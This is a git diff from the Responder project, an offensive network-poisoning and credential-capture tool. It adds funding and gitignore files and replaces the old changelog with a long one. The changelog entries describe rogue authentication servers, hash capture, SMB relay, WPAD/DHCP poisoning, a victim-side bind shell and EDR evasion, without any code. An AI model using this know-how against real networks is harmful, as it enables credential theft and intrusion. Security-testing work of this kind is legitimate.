diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 0000000..a3773ad
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1,2 @@
+github: lgandx
+custom: 'https://paypal.me/PythonResponder'
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..238411b
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,11 @@
+# Python artifacts
+*.pyc
+
+# Responder logs
+*.db
+*.txt
+*.log
+
+# Generated certificates and keys
+certs/*.crt
+certs/*.key
diff --git a/CHANGELOG b/CHANGELOG
deleted file mode 100644
index 037e9ac..0000000
--- a/CHANGELOG
+++ /dev/null
@@ -1,56 +0,0 @@
-ChangeLog Responder 2.0:
-- Added: MDNS Poisoner.
-- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
-- Added: Ability to inject custom HTML in HTTP responses.
-- Added: New WPAD proxy server. Enabled by default.
-- Several improvements.
-- Added: SMTP module
-- Added: POP3 module
-- Added: MSSQL plaintext auth support
-- Added: SMB Relay
-- Added: NBT-NS name is now printed.
-- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
-- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
-- Added: Ability to change the pac script in Responder.conf
-- Added: Configuration file for Responder. See Responder.conf
-- Removed: Several options removed.
-- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140.
-- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server.
-- Added: Ability to bind Responder to a specific interface
-- Fix: Several fixes
-- Added: HTTPS module.
-- Added: Support for LM Hash downgrade.
-- Added: WPAD transparent proxy server.
-- Fix: minor bug fix
-- Fix: Fixed bug in HTTP server.
-- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP.
-- Added: Ability to turn on/off the DNS server.
-- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members.
-- Added: SMB Clear Text function for NT4 specific.
-- Added: DNS server module.
-- Added: FTP server module.
-- Added: Ability to find the PDC in stealth mode with the Browser listener.
-- Several changes.
-- Removed: -d option (Domain), useless for now.
-- Added: SMB Extended Security NTLMSSP authentication.
-- Added: Fingerprint module.
-- Added: Ability to turn off independently capture services.(mubix)
-- Added: Function to grab HTTP cookies.
-- Fix: Typo in logfile description.
-- Added: Option for logging to a file (ravenium).
-- Added: Basic exception handling for server sockets (ravenium).
-- Added: Logging functionality, now logs all Responder activity to a file with date and time.
-- Added: Print IP address to stdout for each protocol.
-- Improvement: Added new line on Writedata (atucom).
-- Improvement: final Hash is now printed to stdout instead of NT and LM.
-- Fix: Fixed spelling in README (atucom).
-- Fix: Removed hardcoded challenge for SQL NTLM.
-- Fix: Removed hardcoded challenge for HTTP NTLM.
-- Added an HTTP server with support for ntlmv1/v2 and basic Auth.
-- Added command line switch support with optparse.
-- Added -r switch, which allows turning On/Off Wredir answers.
-- Added the possibility to turn off HTTP server using the -s switch.
-- Added LLMNR module.
-- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are
- empty.
-- Several minor changes.
diff --git a/CHANGELOG.md b/CHANGELOG.md
new file mode 100644
index 0000000..755e6a5
--- /dev/null
+++ b/CHANGELOG.md
@@ -0,0 +1,713 @@
+
+n.n.n / 2025-05-22
+==================
+
+ * added check for aioquic & updated version to reflect recent changes
+ * Merge pull request #310 from ctjf/master
+ * Merge pull request #308 from BlWasp/error_code_returned
+ * Merge pull request #311 from stfnw/master
+ * DHCP poisoner: refactor FindIP
+ * added quic support based on xpn's work
+ * Indentation typos
+ * Add status code control
+ * Merge pull request #305 from L1-0/patch-1
+ * Update RPC.py
+ * Merge pull request #301 from q-roland/kerberos_relaying_llmnr
+ * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
+
+n.n.n / 2025-05-22
+==================
+
+ * added check for aioquic & updated version to reflect recent changes
+ * Merge pull request #310 from ctjf/master
+ * Merge pull request #308 from BlWasp/error_code_returned
+ * Merge pull request #311 from stfnw/master
+ * DHCP poisoner: refactor FindIP
+ * added quic support based on xpn's work
+ * Indentation typos
+ * Add status code control
+ * Merge pull request #305 from L1-0/patch-1
+ * Update RPC.py
+ * Merge pull request #301 from q-roland/kerberos_relaying_llmnr
+ * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
+# Changelog
+
+All notable changes to this project will be documented in this file.
+
+The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
+and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
+
+
+## Unreleased
+
+[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD)
+
+### Added
+
+- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s).
+- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf).
+- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx).
+
+### Fixed
+
+- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx).
+- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx).
+- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx).
+
+### Removed
+
+- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx).
+- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx).
+
+
+## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04
+
+[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0)
+
+### Added
+
+- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide).
+- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx).
+- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier).
+- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin).
+- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin).
+- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx).
+- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx).
+- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx).
+- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb).
+
+### Fixed
+
+- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx).
+- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide).
+- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide).
+- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx).
+- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide).
+- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks).
+- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown).
+- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown).
+- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero).
+- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx).
+- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx).
+
+### Removed
+
+- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx).
+- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx).
+- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx).
+- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx).
+- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx).
+
+## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26
+
+[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0)
+
+### Fixed
+
+- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx).
+- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon).
+- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist).
+
+### Removed
+
+- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx).
+- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx).
+
+## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12
+
+[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0)
+
+### Added
+
+- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx).
+
+### Fixed
+
+- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov).
+
+## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17
+
+[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0)
+
+### Added
+
+- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx).
+- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx).
+- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx).
+- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx).
+- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx).
+
+### Removed
+
+- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx).
+
+## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10
+
+[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0)
+
+### Added
+
+- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx).
+- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx).
+
+### Fixed
+
+- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx).
+
+### Removed
+
+- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx).
+
+## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03
+
+[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0)
+
+### Added
+
+- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx).
+- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx).
+- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx).
+- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx).
+
+### Fixed
+
+- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx).
+- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx).
+
+### Removed
+
+- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx).
+- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx).
+- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx).
+- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx).
+
+## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26
+
+[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0)
+
+### Added
+
+- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx).
+- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis).
+- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis).
+- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis).
+
+### Fixed
+
+- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx).
+
+## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19
+
+[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0)
+
+### Added
+
+- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx).
+
+## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17
+
+[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0)
+
+### Added
+
+- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx).
+
+### Removed
+
+- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx).
+
+## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12
+
+[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0)
+
+### Added
+
+- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx).
+- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx).
+- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx).
+- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx).
+- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx).
+
+### Removed
+
+- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx).
+- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx).
+- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx).
+- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx).
+- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx).
+
+## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08
+
+[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0)
+
+### Added
+
+- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx).
+- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx).
+
+### Fixed
+
+- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan).
+- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers).
+- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark).
+
+## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28
+
+[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0)
+
+### Fixed
+
+- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx).
+
+## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19
+
+[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0)
+
+### Added
+
+- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam).
+
+### Fixed
+
+- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun).
+
+## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09
+
+[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0)
+
+### Added
+
+- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx).
+
+## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17
+
+[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0)
+
+### Added
+
+- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx).
+- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A).
+
+### Fixed
+
+- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon).
+- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx).
+- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin).
+- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin).
+- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena).
+
+### Removed
+
+- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx).
+
+## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20
+
+[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9)
+
+### Added
+
+- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx).
+- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT).
+- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx).
+
+## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05
+
+[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8)
+
+### Changed
+
+- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx).
+
+## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05
+
+[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7)
+
+### Added
+
+- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly).
+- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley).
+- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx).
+
+### Fixed
+
+- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx).
+- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404).
+- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos).
+
+## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29
+
+[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6)
+
+### Fixed
+
+- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx).
+
+### Removed
+
+- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx).
+
+## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18
+
+[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5)
+
+## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18
+
+[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4)
+
+### Added
+
+- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx).
+- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko).
+
+### Fixed
+
+- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx).
+- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts).
+- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos).
+
+## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03
+
+[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3)
+
+### Added
+
+- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx).
+
+## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03
+
+[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2)
+
+### Added
+
+- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx).
+- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx).
+- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx).
+- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx).
+
+### Removed
+
+- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx).
+
+## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18
+
+[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1)
+
+### Added
+
+- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx).
+
+### Fixed
+
+- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx).
+
+## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12
+
+[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0)
+
+### Added
+
+- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx).
+
+### Fixed
+
